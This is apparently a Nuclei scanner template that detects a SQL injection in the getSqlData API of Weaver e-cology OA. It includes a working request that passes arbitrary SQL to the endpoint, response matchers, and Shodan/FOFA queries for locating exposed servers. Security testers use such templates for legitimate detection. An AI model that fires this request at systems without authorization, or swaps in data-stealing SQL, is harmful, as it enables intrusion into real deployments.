id: weaver-ecology-getsqldata-sqli

info:
  name: Weaver E-Cology `getsqldata` - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    When the getSqlData interface of the Panwei e-cology OA system uses the mssql database, the built-in SQL statements are not spliced strictly, resulting in a SQL injection vulnerability.
  reference:
    - https://github.com/Wrin9/weaverOA_sql_RCE/blob/14cca7a6da7a4a81e7c7a7016cb0da75b8b290bc/weaverOA_sql_injection_POC_EXP.py#L46
  metadata:
    verified: true
    max-request: 2
    shodan-query: ecology_JSessionid
    fofa-query: app="泛微-协同办公OA"
  tags: ecology,weaver,oa,sqli
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/Api/portal/elementEcodeAddon/getSqlData?sql=select%20substring(sys.fn_sqlvarbasetostr(hashbytes('MD5','{{num}}')),3,32)"
      - "{{BaseURL}}/Api/portal/elementEcodeAddon/getSqlData?sql="

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: word
        part: body
        words:
          - '{"api_status":'
          - '"status":true}'
        condition: and

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